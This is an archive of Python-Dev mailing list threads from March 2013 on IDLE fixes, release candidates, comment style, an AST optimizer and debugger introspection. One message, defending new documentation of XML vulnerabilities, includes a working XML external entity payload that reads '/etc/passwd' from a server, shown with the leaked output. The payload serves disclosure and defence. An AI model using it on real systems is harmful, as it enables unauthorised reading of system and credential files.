Re: [Python-Dev] IDLE in the stdlib
On 3/22/2013 2:51 PM, francis wrote: ~$ python2.7 -m idlelib /usr/bin/python2.7: No module named idlelib.__main__; 'idlelib' is a package and cannot be directly executed Same with python3... C:\Programspython33\python.exe -m idlelib brings up IDLE on Windows. 2.7 and 3.2 do not work as above but require 'idlelib.idle' instead of just 'idlelib'. C:\Programspython32\python.exe -m idlelib.idle C:\Programspython27\python.exe -m idlelib.idle I have no idea if the change is to '-m' processing or to idlelib. If the latter, it is an example of a patch that might have been harmlessly backported with PEP434 accepted. -- Terry Jan Reedy ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Simple IDLE issues to commit before Python 2.7.4 release in two weeks on 4/6/2013
On 3/25/2013 3:30 PM, Todd Rovito wrote: http://bugs.python.org/issue7136 Idle File Menu Option Improvement http://bugs.python.org/issue17390 display python version on idle title bar http://bugs.python.org/issue17511 Idle find function closes after each find operation http://bugs.python.org/issue6699 IDLE: Warn user about overwriting a file that has a newer version on filesystem http://bugs.python.org/issue10747 Include version info in Windows shortcuts the issue is for 3.x but perhaps simple to implement for 2.7? http://bugs.python.org/issue2704 IDLE: Patch to make PyShell behave more like a Terminal interface I am waiting for 434 or an alternative to be accepted before pushing any IDLE patch. I have no interest in bikeshedding a somewhat meaningless, for IDLE, distinction between behavior and enhancement, nor in being asked to revert a patch that I tested on multiple versions. However, I might use your list to select patches for testing on Windows. -- Terry Jan Reedy ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] [RELEASED] Python 3.2.4 rc 1 and Python 3.3.1 rc 1
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On behalf of the Python development team, I am pleased to announce the first release candidates of Python 3.2.4 and 3.3.1. Python 3.2.4 will be the last regular maintenance release for the Python 3.2 series, while Python 3.3.1 is the first maintenance release for the 3.3 series. Both releases include hundreds of bugfixes. There has recently been a lot of discussion about XML-based denial of service attacks. Specifically, certain XML files can cause XML parsers, including ones in the Python stdlib, to consume gigabytes of RAM and swamp the CPU. These releases do not include any changes in Python XML code to address these issues. Interested parties should examine the defusedxml package on PyPI: https://pypi.python.org/pypi/defusedxml These are testing releases: Please consider trying them with your code and reporting any bugs you may notice to: http://bugs.python.org/ To download Python 3.2.4 or Python 3.3.1, visit: http://www.python.org/download/releases/3.2.4/ or http://www.python.org/download/releases/3.3.1/ respectively. Enjoy! - -- Georg Brandl, Release Manager georg at python.org (on behalf of the entire python-dev team and all contributors) -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.19 (GNU/Linux) iEYEARECAAYFAlFRRIoACgkQN9GcIYhpnLD6jACgnzYdYRKZ4kwkKeN3zSLSZ3Zr M/IAn17vlpxI3a3xk+i/ODOrCkMnRZro =B5sA -END PGP SIGNATURE- ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). Matthias ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
On Tue, Mar 26, 2013 at 11:54 AM, Matthias Klose d...@ubuntu.com wrote: Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). It most certainly will be the latest once it's released. But hopefully not the last. :-) //Lennart ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
2013/3/26 Lennart Regebro rege...@gmail.com: On Tue, Mar 26, 2013 at 11:54 AM, Matthias Klose d...@ubuntu.com wrote: Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). It most certainly will be the latest once it's released. But hopefully not the last. :-) I also read the last by mistake! Anyway, you should trust Brett Canon: Python 3.3: Trust Me, It's Better Than Python 2.7. https://speakerdeck.com/pyconslides/python-3-dot-3-trust-me-its-better-than-python-2-dot-7-by-dr-brett-cannon Victor ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
It's already hard to sell 2.7 in most companies. Regards, Antonio Anyway, you should trust Brett Canon: Python 3.3: Trust Me, It's Better Than Python 2.7. https://speakerdeck.com/pyconslides/python-3-dot-3-trust-me-its-better-than-python-2-dot-7-by-dr-brett-cannon Victor ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
2013/3/26 Matthias Klose d...@ubuntu.com: Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). latest is different from last :) -- Regards, Benjamin ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can we triple quoted string as a comment?
On Mon, 25 Mar 2013 18:16:47 -0700, Raymond Hettinger raymond.hettin...@gmail.com wrote: If you're editing with Emacs, it is really easy to reflow paragraphs and to insert or remove multiline comments each prefixed with #. But with other editors, it can be a PITA and a multiline string is the easiest to maintain and works well when cutting-and-pasting the comments from somewhere else. Just FYI it is also very easy in vim: gq plus whatever movement prefix suits the situation. --David ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
Le Tue, 26 Mar 2013 12:34:34 +0100, Victor Stinner victor.stin...@gmail.com a écrit : 2013/3/26 Lennart Regebro rege...@gmail.com: On Tue, Mar 26, 2013 at 11:54 AM, Matthias Klose d...@ubuntu.com wrote: Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). It most certainly will be the latest once it's released. But hopefully not the last. :-) I also read the last by mistake! Anyway, you should trust Brett Canon: Python 3.3: Trust Me, It's Better Than Python 2.7. https://speakerdeck.com/pyconslides/python-3-dot-3-trust-me-its-better-than-python-2-dot-7-by-dr-brett-cannon You can always trust Brett Cannon! cheers Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can we triple quoted string as a comment?
Le Tue, 26 Mar 2013 09:28:51 -0400, R. David Murray rdmur...@bitdance.com a écrit : On Mon, 25 Mar 2013 18:16:47 -0700, Raymond Hettinger raymond.hettin...@gmail.com wrote: If you're editing with Emacs, it is really easy to reflow paragraphs and to insert or remove multiline comments each prefixed with #. But with other editors, it can be a PITA and a multiline string is the easiest to maintain and works well when cutting-and-pasting the comments from somewhere else. Just FYI it is also very easy in vim: gq plus whatever movement prefix suits the situation. And on a user-friendly editor such as Kate, you can press Ctrl+D. Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can we triple quoted string as a comment?
On 03/25/2013 02:16 PM, Victor Stinner wrote: Hi, I just realized that the Python peephole optimizer removes useless instructions like numbers and strings between other instructions, without raising an error nor emiting an error. Example: $ python -Wd -c 'print Hello; World' Hello As part of my astoptimizer project, I wrote a function to detect such useless instructions which emit a warning. I opened the following issue to report what I found: http://bugs.python.org/issue17516 Different modules use long strings as comments. What is the official policy about such strings? Should we use strings or comments? (IMO a comment should be used instead.) Someone will correct me if I'm wrong, I'm sure, but I believe Guido himself has said that a neat feature of triple-quoted strings is their ability to be used as comments. -- ~Ethan~ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can we triple quoted string as a comment?
And I still think it's neat. :-) On Tue, Mar 26, 2013 at 8:46 AM, Ethan Furman et...@stoneleaf.us wrote: On 03/25/2013 02:16 PM, Victor Stinner wrote: Hi, I just realized that the Python peephole optimizer removes useless instructions like numbers and strings between other instructions, without raising an error nor emiting an error. Example: $ python -Wd -c 'print Hello; World' Hello As part of my astoptimizer project, I wrote a function to detect such useless instructions which emit a warning. I opened the following issue to report what I found: http://bugs.python.org/**issue17516 http://bugs.python.org/issue17516 Different modules use long strings as comments. What is the official policy about such strings? Should we use strings or comments? (IMO a comment should be used instead.) Someone will correct me if I'm wrong, I'm sure, but I believe Guido himself has said that a neat feature of triple-quoted strings is their ability to be used as comments. -- ~Ethan~ __**_ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/**mailman/listinfo/python-devhttp://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/**mailman/options/python-dev/** guido%40python.orghttp://mail.python.org/mailman/options/python-dev/guido%40python.org -- --Guido van Rossum (python.org/~guido) ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] cpython (2.7): Issue 17538: Document XML vulnerabilties
On Tue, 26 Mar 2013 17:53:39 +0100 (CET) christian.heimes python-check...@python.org wrote: + +The XML processing modules are not secure against maliciously constructed data. +An attacker can abuse vulnerabilities for e.g. denial of service attacks, to +access local files, to generate network connections to other machines, or +to or circumvent firewalls. Really? Where does the access local files, generate network connections, circumvent firewalls allegation come from? Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] cpython (2.7): Issue 17538: Document XML vulnerabilties
On Mar 26, 2013, at 2:41 PM, Antoine Pitrou solip...@pitrou.net wrote: On Tue, 26 Mar 2013 17:53:39 +0100 (CET) christian.heimes python-check...@python.org wrote: + +The XML processing modules are not secure against maliciously constructed data. +An attacker can abuse vulnerabilities for e.g. denial of service attacks, to +access local files, to generate network connections to other machines, or +to or circumvent firewalls. Really? Where does the access local files, generate network connections, circumvent firewalls allegation come from? https://pypi.python.org/pypi/defusedxml#external-entity-expansion-remote https://pypi.python.org/pypi/defusedxml#external-entity-expansion-local-file https://pypi.python.org/pypi/defusedxml#dtd-retrieval Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald%40stufft.io - Donald Stufft PGP: 0x6E3CBCE93372DCFA // 7C6B 7C5D 5E2B 6356 A926 F04F 6E3C BCE9 3372 DCFA signature.asc Description: Message signed with OpenPGP using GPGMail ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] cpython (2.7): Issue 17538: Document XML vulnerabilties
Am 26.03.2013 19:41, schrieb Antoine Pitrou: On Tue, 26 Mar 2013 17:53:39 +0100 (CET) christian.heimes python-check...@python.org wrote: + +The XML processing modules are not secure against maliciously constructed data. +An attacker can abuse vulnerabilities for e.g. denial of service attacks, to +access local files, to generate network connections to other machines, or +to or circumvent firewalls. Really? Where does the access local files, generate network connections, circumvent firewalls allegation come from? Really! https://bitbucket.org/PSF/defusedxml/src/e76248a8c2b3102c565bd3451656130cb29f04f8/other/python_external.py?at=default REQUEST: weatherAachen/weather RESPONSE: - weatherThe weather in Aachen is terrible./weather REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY passwd SYSTEM file:///etc/passwd ] weatherpasswd;/weather RESPONSE: - errorUnknown city root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bi/error REQUEST: ?xml version=1.0 encoding=utf-8? !DOCTYPE weather [ !ENTITY url SYSTEM http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem; ] weatherurl;/weather RESPONSE: - errorUnknown city -BEGIN DH PARAMETERS- MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC -END DH PARAMETERS- These are the 512 bit DH parameters from Assigned Number for SKIP Protocols (http://www.skip-vpn.org/spec/numbers.html). See there for how they were generated. Note that g is not a generator, but this is not a problem since p is a safe prime. /error Q.E.D. Christian ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
On Tue, 26 Mar 2013 12:54:11 +0100 a.cava...@cavallinux.eu wrote: It's already hard to sell 2.7 in most companies. Sure, it's often hard to sell free software! Regards Antoine. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] Google Summer of Code - Organization Deadline Approaching - March 29
Just an FYI that there are under 3 days to apply to Google Summer of Code for mentoring organizations: http://www.google-melange.com/gsoc/homepage/google/gsoc2013. The student application deadline is later on in May. If you run a project that is interested in applying under the Python umbrella organization, contact Terri Oda at te...@zone12.com Is anyone here interested in leading CPython through GSOC? Anyone have potential students to get involved, or interested in being a mentor? ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
Am 26.03.2013 13:13, schrieb Benjamin Peterson: 2013/3/26 Matthias Klose d...@ubuntu.com: Am 25.03.2013 01:30, schrieb Benjamin Peterson: 2.7.4 will be the latest maintenance release in the Python 2.7 series. I hope it's not (and in the IDLE thread you say so otherwise too). latest is different from last :) As opposed to 3.2.4, which will really be the last (the last regular one, that is -- if/when the XML stuff gets released there will be a source-only release). Georg ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] astoptimizer: static optimizer working on the AST
Hi, I made progress since last August on my astoptimizer project (read the Changelog). Previous email thread: http://mail.python.org/pipermail/python-dev/2012-August/121286.html The astoptimizer project is an optimizer rewriting Python AST. It executes as much code as possible during the compilation. The optimizer itself is not designed to be fast, but to emit faster code. https://bitbucket.org/haypo/astoptimizer/ Some optimizations are not pythonic: don't respect the Python language by making some assumptions (ex: on the namespace), which may be wrong in some cases. astoptimizer is written for adults which know which optimizations can be enabled, and which ones must be disabled in their application (application, not module). I'm trying to write a safe and pythonic default configuration. For example, len(abc) is not replaced with 3 by default. You have to enable explicitly the builtin_funcs configuration feature. astoptimizer can be used as a pythonic preprocessor: it replaces os.name, sys.platform and also your own constants by their value. It removes dead code and so may be used to remove completly the overhead of checks on the Python version or an the platform (if python3: ... else: ...). I would like to improve the integration of astoptimizer in Python 3.4. Brett Canon asked me to use an hook in importlib, I proposed to add a generic AST hook which would also be called by eval(), compile(), etc. I would like to allow anyone to use its own AST modifier, and simplify the usage of astoptimizer. = http://bugs.python.org/issue17515 Open issues: * what should be the name of pyc files? * how to handle different configuration of astoptimizer: generate different pyc files? * no sys.getasthook(): it would permit to chain different AST hooks -- There are many open issues proposing to write a better Python optimizer. Some of them are stuck because implementing them using the bytecode optimizer is hard. * http://bugs.python.org/issue1346238: A constant folding optimization pass for the AST * http://bugs.python.org/issue2181: optimize out local variables at end of function * http://bugs.python.org/issue2499: Fold unary + and not on constants * http://bugs.python.org/issue4264: Patch: optimize code to use LIST_APPEND instead of calling list.append * http://bugs.python.org/issue7682: Optimisation of if with constant expression * http://bugs.python.org/issue10399: AST Optimization: inlining of function calls * http://bugs.python.org/issue11549: Build-out an AST optimizer, moving some functionality out of the peephole optimizer * http://bugs.python.org/issue17068: peephole optimization for constant strings * http://bugs.python.org/issue17430: missed peephole optimization astoptimizer implements many optimizations listed in these issues. Read the README file to the list of optimizations already implemented, and the TODO file for ideas of new optimizations. -- The project is still experimental. I ran Python 2.7 and 3.4 test suites. Some tests are failing because the AST or the bytecode is different (which is expected). More tests are failing if you enable more agressive optimizations (especially if you enable the agressive mode to remove dead code). At least, Python does not crash :-) (It occurs sometimes when astoptimizer generates invalid AST!) Victor ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] [RELEASE] Python 2.7.4 release candidate 1
On Tue, Mar 26, 2013 at 3:26 PM, Hynek Schlawack h...@ox.cx wrote: Speakerdeck is slides only. The video is here: http://pyvideo.org/video/1730/python-33-trust-me-its-better-than-27 Sweet thanks! ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] noob contributions to unit tests
Hey everybody how are you all :) I am an intermediate-level python coder looking to get help out. I've been reading over the dev guide about helping increase test coverage -- http://docs.python.org/devguide/coverage.html And also the third-party code coverage referenced in the devguide page: http://coverage.livinglogic.de/ I'm seeing that according to the coverage tool, two of my favorite libraries, urllib/urllib2, have no unit tests? Is that correct or am I reading it wrong? If that's correct it seems like a great place perhaps for me to cut my teeth and I would be excited to learn and help out here. And of course any thoughts or advice for an aspiring Python contributor would be appreciated. Of course the dev guide gives me plenty of good info. Thanks! -- A musician must make music, an artist must paint, a poet must write, if he is to be ultimately at peace with himself. - Abraham Maslow ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] noob contributions to unit tests
On Tue, Mar 26, 2013 at 4:49 PM, Sean Felipe Wolfe ether@gmail.com wrote: Hey everybody how are you all :) I am an intermediate-level python coder looking to get help out. I've been reading over the dev guide about helping increase test coverage -- http://docs.python.org/devguide/coverage.html And also the third-party code coverage referenced in the devguide page: http://coverage.livinglogic.de/ I'm seeing that according to the coverage tool, two of my favorite libraries, urllib/urllib2, have no unit tests? Is that correct or am I reading it wrong? If that's correct it seems like a great place perhaps for me to cut my teeth and I would be excited to learn and help out here. And of course any thoughts or advice for an aspiring Python contributor would be appreciated. Of course the dev guide gives me plenty of good info. Thanks! That looks like an error in the coverage report, there are certainly urllib and urllib2 tests in test/test_urllib* ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
[Python-Dev] Can I introspect/reflect to get arguments exec()?
[asked on comp.lang.python but no takers. So I'm bumping it up a notch.] I have ported my Python debugger pydbgr to Python3. See [1] or [2]. Inside the debugger, when there is an exec() somewhere in the call stack, I'd like to be able to retrieve the string parameter. With this, the debugger can show part of the string in a call stack. Or it can show the text when the frame is set to that exec() frame. Going further, the debugger could write the exec string out to a temporary file. And when reporting locations, it could report not just something like string line 4, but also give that temporary file name which a front-end could use as well. So consider this code using inspect.getargvalues() and inspect.currentframe(): import inspect def my_exec(string): show_args(inspect.currentframe()) # simulate exec(string) def show_args(frame): print(inspect.getargvalues(frame)) my_exec(show_args(inspect.currentframe())) exec(show_args(inspect.currentframe())) When run this is the output: python3 exec-args.py ArgInfo(args=['string'], varargs=None, keywords=None, locals={'string': 'show_args(inspect.currentframe())'}) ArgInfo(args=[], varargs=None, keywords=None, locals={'my_exec': function my_exec at 0xb6f828ec,, ... In a different setting, CPython byte-code assembly that gets generated for running exec() is: 25 88 LOAD_GLOBAL10 (exec) 91 LOAD_CONST 4 ('show_args(inspect.currentframe())') --94 CALL_FUNCTION 1 97 POP_TOP What's going on? Also, I have the same question for CPython 2.6 or Python 2.7. Thanks! [1] http://code.google.com/p/pydbgr/ [2] http://code.google.com/p/python3-trepan/ ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can I introspect/reflect to get arguments exec()?
2013/3/26 Rocky Bernstein ro...@gnu.org: [asked on comp.lang.python but no takers. So I'm bumping it up a notch.] I have ported my Python debugger pydbgr to Python3. See [1] or [2]. Inside the debugger, when there is an exec() somewhere in the call stack, I'd like to be able to retrieve the string parameter. With this, the debugger can show part of the string in a call stack. Or it can show the text when the frame is set to that exec() frame. Going further, the debugger could write the exec string out to a temporary file. And when reporting locations, it could report not just something like string line 4, but also give that temporary file name which a front-end could use as well. So consider this code using inspect.getargvalues() and inspect.currentframe(): import inspect def my_exec(string): show_args(inspect.currentframe()) # simulate exec(string) def show_args(frame): print(inspect.getargvalues(frame)) my_exec(show_args(inspect.currentframe())) exec(show_args(inspect.currentframe())) When run this is the output: python3 exec-args.py ArgInfo(args=['string'], varargs=None, keywords=None, locals={'string': 'show_args(inspect.currentframe())'}) ArgInfo(args=[], varargs=None, keywords=None, locals={'my_exec': function my_exec at 0xb6f828ec,, ... In a different setting, CPython byte-code assembly that gets generated for running exec() is: 25 88 LOAD_GLOBAL10 (exec) 91 LOAD_CONST 4 ('show_args(inspect.currentframe())') --94 CALL_FUNCTION 1 97 POP_TOP What's going on? execing something is not the same as calling it, so there are no arguments. -- Regards, Benjamin ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] noob contributions to unit tests
On Tue, 26 Mar 2013 16:59:06 -0700, Maciej Fijalkowski fij...@gmail.com wrote: On Tue, Mar 26, 2013 at 4:49 PM, Sean Felipe Wolfe ether@gmail.com wrote: Hey everybody how are you all :) I am an intermediate-level python coder looking to get help out. I've been reading over the dev guide about helping increase test coverage -- http://docs.python.org/devguide/coverage.html And also the third-party code coverage referenced in the devguide page: http://coverage.livinglogic.de/ I'm seeing that according to the coverage tool, two of my favorite libraries, urllib/urllib2, have no unit tests? Is that correct or am I reading it wrong? If that's correct it seems like a great place perhaps for me to cut my teeth and I would be excited to learn and help out here. And of course any thoughts or advice for an aspiring Python contributor would be appreciated. Of course the dev guide gives me plenty of good info. Thanks! That looks like an error in the coverage report, there are certainly urllib and urllib2 tests in test/test_urllib* The devguide contains instructions for running coverage yourself, and if I recall correctly the 'fullcoverage' recipe does a better job than what runs at coverage.livinglogic.de. On the other hand, I'm fairly certain that even if the coverage were at 100% code-and-branch coverage, there'd still be tests worth adding, if you are as familiar with the modules as your intro suggests :) However, if you are writing new tests, please write them against the default branch, which means urllib in Python3 (the test files are still named like they are in Python2, though). --David PS: If you aren't aware of the core-mentorship mailing list, you might want to check that out as well. ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Can I introspect/reflect to get arguments exec()?
On Tue, Mar 26, 2013 at 10:18 PM, Benjamin Peterson benja...@python.orgwrote: 2013/3/26 Rocky Bernstein ro...@gnu.org: [asked on comp.lang.python but no takers. So I'm bumping it up a notch.] I have ported my Python debugger pydbgr to Python3. See [1] or [2]. Inside the debugger, when there is an exec() somewhere in the call stack, I'd like to be able to retrieve the string parameter. With this, the debugger can show part of the string in a call stack. Or it can show the text when the frame is set to that exec() frame. Going further, the debugger could write the exec string out to a temporary file. And when reporting locations, it could report not just something like string line 4, but also give that temporary file name which a front-end could use as well. So consider this code using inspect.getargvalues() and inspect.currentframe(): import inspect def my_exec(string): show_args(inspect.currentframe()) # simulate exec(string) def show_args(frame): print(inspect.getargvalues(frame)) my_exec(show_args(inspect.currentframe())) exec(show_args(inspect.currentframe())) When run this is the output: python3 exec-args.py ArgInfo(args=['string'], varargs=None, keywords=None, locals={'string': 'show_args(inspect.currentframe())'}) ArgInfo(args=[], varargs=None, keywords=None, locals={'my_exec': function my_exec at 0xb6f828ec,, ... In a different setting, CPython byte-code assembly that gets generated for running exec() is: 25 88 LOAD_GLOBAL10 (exec) 91 LOAD_CONST 4 ('show_args(inspect.currentframe())') --94 CALL_FUNCTION 1 97 POP_TOP What's going on? execing something is not the same as calling it, so there are no arguments. Okay. But is the string is still somewhere in the CPython VM stack? (The result of LOAD_CONST 4 above). Is there a way to pick it up from there? At the point that we are stopped the exec action hasn't taken place yet. -- Regards, Benjamin ___ Python-Dev mailing list Python-Dev@python.org http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com